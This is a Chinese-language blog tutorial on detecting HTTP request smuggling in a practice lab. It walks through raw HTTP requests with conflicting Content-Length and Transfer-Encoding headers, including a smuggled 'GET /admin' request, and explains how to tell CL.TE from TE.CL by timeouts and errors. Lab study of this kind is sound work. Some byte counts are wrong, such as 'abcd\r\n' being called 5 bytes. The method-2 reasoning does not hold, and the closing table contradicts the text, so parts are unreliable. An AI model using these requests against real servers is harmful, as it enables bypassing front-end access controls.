HTTP request smuggling,HTTP请求走私，判断前后端类型。

      首先，请求走私是由于前后端CL与TE不同而产生的，CL看字节数，而TE看块大小加块内容。

      一，先构造一个「会导致前后端解析请求体长度不一致」的请求，看是否会出现异常响应（异常响应即说明存在解析差异，大概率有漏洞）

POST / HTTP/1.1
Host: 靶场完整域名
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
Content-Length: 4

1\r\n
a\r\n
0\r\n
\r\n

        分析响应结果：

  1. 若返回「200 OK」且无异常：不代表没有漏洞，可能是解析差异未触发报错，需要进一步精准探测。
  2. 若返回「400 Bad Request」「Read timeout」「500 Internal Server Error」：说明前后端存在解析差异（前端和后端对请求体长度的认知不一致），存在 HTTP 请求走私漏洞，进入下一步精准判断前后端解析规则。
  3. 若返回「404 Not Found」：路径错误，改为POST /或靶场的默认业务路径（如/post）再试。

    二，精准探测「前后端分别解析 TE 还是 CL」（核心方法）

            方法 1：利用「分块编码结束标志的差异」探测。核心思路：构造两个请求，通过「是否触发超时」来判断谁解析了 TE、谁解析了 CL。

                       探测请求 A（故意让 TE 不完整，缺少最终空行）

POST / HTTP/1.1
Host: 靶场完整域名
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
Content-Length: 9

3\r\n
abc\r\n
0\r\n
# 故意省略最终的\r\n（空行），让TE编码不完整

                      探测请求 B（TE 完整，且 CL 与 TE 解析的长度不一致）

POST / HTTP/1.1
Host: 靶场完整域名
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
Content-Length: 3  # CL=3，TE解析的请求体长度远大于3

3\r\n
abc\r\n
0\r\n
\r\n
# TE编码完整，块内容为abc（3字节），结束标志完整            
响应结果分析（关键）
  1. 若请求 A 返回「Read timeout」，请求 B 返回「200 OK」：
    • 说明前端服务器解析了 TE（请求 A 中 TE 不完整，前端等待最终空行，超时；请求 B 中 TE 完整，前端正常解析，返回 200）。
    • 同时观察请求 B 的响应，若没有报错，说明后端服务器忽略了 TE（因为 TE 完整的请求体长度大于 CL=3，后端只解析了 CL=3，读取 3 个字节后停止，不关心 TE 的完整内容）。
    • 结论：这就是TE.CL 漏洞（前端认 TE、后端认 CL）。
  2. 若请求 A 返回「200 OK」，请求 B 返回「Read timeout」：
    • 说明前端服务器忽略了 TE，解析了 CL（请求 A 中 CL 未被篡改，前端按 CL 读取字节数后停止，不关心 TE 是否完整，返回 200）。
    • 请求 B 中，后端解析了 TE（TE 完整，但前端按 CL=3 转发了部分内容，后端等待完整的 TE 编码，超时）。
    • 结论：这是 CL.TE 漏洞（前端认 CL、后端认 TE）。

     

 

          方法 2：利用「请求体重叠」探测，核心思路：构造一个「前端解析认为请求体结束，但后端解析认为请求体未结束」的请求，通过后续请求的响应来判断。

                 步骤 1：发送走私请求（构造重叠）

POST / HTTP/1.1
Host: 靶场完整域名
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
Content-Length: 5

4\r\n
abcd\r\n
0\r\n
\r\n
# 额外添加一段“走私内容”：GET /admin HTTP/1.1\r\nHost: 靶场域名\r\n\r\n

               步骤 2：立即发送一个正常请求（如GET / HTTP/1.1）

响应结果分析： 
  1. 若正常请求的响应中，包含「/admin」的相关内容（如 403 Forbidden、200 OK）：
    • 说明前端按 TE 解析，认为请求体在0\r\n\r\n结束，把后续的「GET /admin」当作 “下一个请求”，但后端按 CL 解析，认为「GET /admin」是当前请求体的一部分（CL=5，abcd\r\n 刚好 5 字节，后端读取后，把后续内容当作下一个请求）。
    • 结论：TE.CL 漏洞（前端认 TE、后端认 CL）。
  2. 若正常请求返回「400 Bad Request」，且走私请求返回超时：
    • 说明前端按 CL 解析，后端按 TE 解析，「GET /admin」被前端拦截，后端等待完整的 TE 编码，超时。
    • 结论：CL.TE 漏洞（前端认 CL、后端认 TE）。

      第三步：验证探测结果（确保无误）。针对探测出的结果，构造一个确认请求，验证前后端的解析规则是否正确。

            比如探测出「TE.CL 漏洞」（前端认 TE、后端认 CL），验证请求如下：

POST / HTTP/1.1
Host: 靶场完整域名
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
Content-Length: 7  # 后端按7字节解析

3\r\n  # 前端按TE解析，块大小3，对应abc
abc\r\n
0\r\n
\r\n

            验证逻辑：

  1. 前端解析 TE：块大小 3 对应 abc，结束标志完整，返回 200 OK，无超时。
  2. 后端解析 CL=7：请求体前 7 个字节为「3\r\nabc\r」，刚好 7 字节，无报错。
  3. 若响应正常，说明探测结果正确；若报错，重新检查请求格式（换行符、字节数）。

 

 

 

用表格总结（一目了然，可直接对照）

解析场景请求 A（TE 不完整 + CL 精准）请求 B（TE 完整 + CL 故意不匹配）核心特征（区分关键）
前后端都认 TE 超时（400/Read timeout） 纯 200 OK（无任何异常） CL 完全无效，请求 B 无报错
TE.CL（前端 TE、后端 CL） 超时（400/Read timeout） 200 异常 / 400 Bad Request CL 有效，请求 B 因 CL 不匹配报错 / 异常
CL.TE（前端 CL、后端 TE） 纯 200 OK 超时（400/Read timeout） 响应组合与前两者完全相反
前后端都认 CL 纯 200 OK 400 Bad Request TE 完全无效，只看 CL 字节数
posted @ 2026-02-01 23:24  annier  阅读(0)  评论(0)    收藏  举报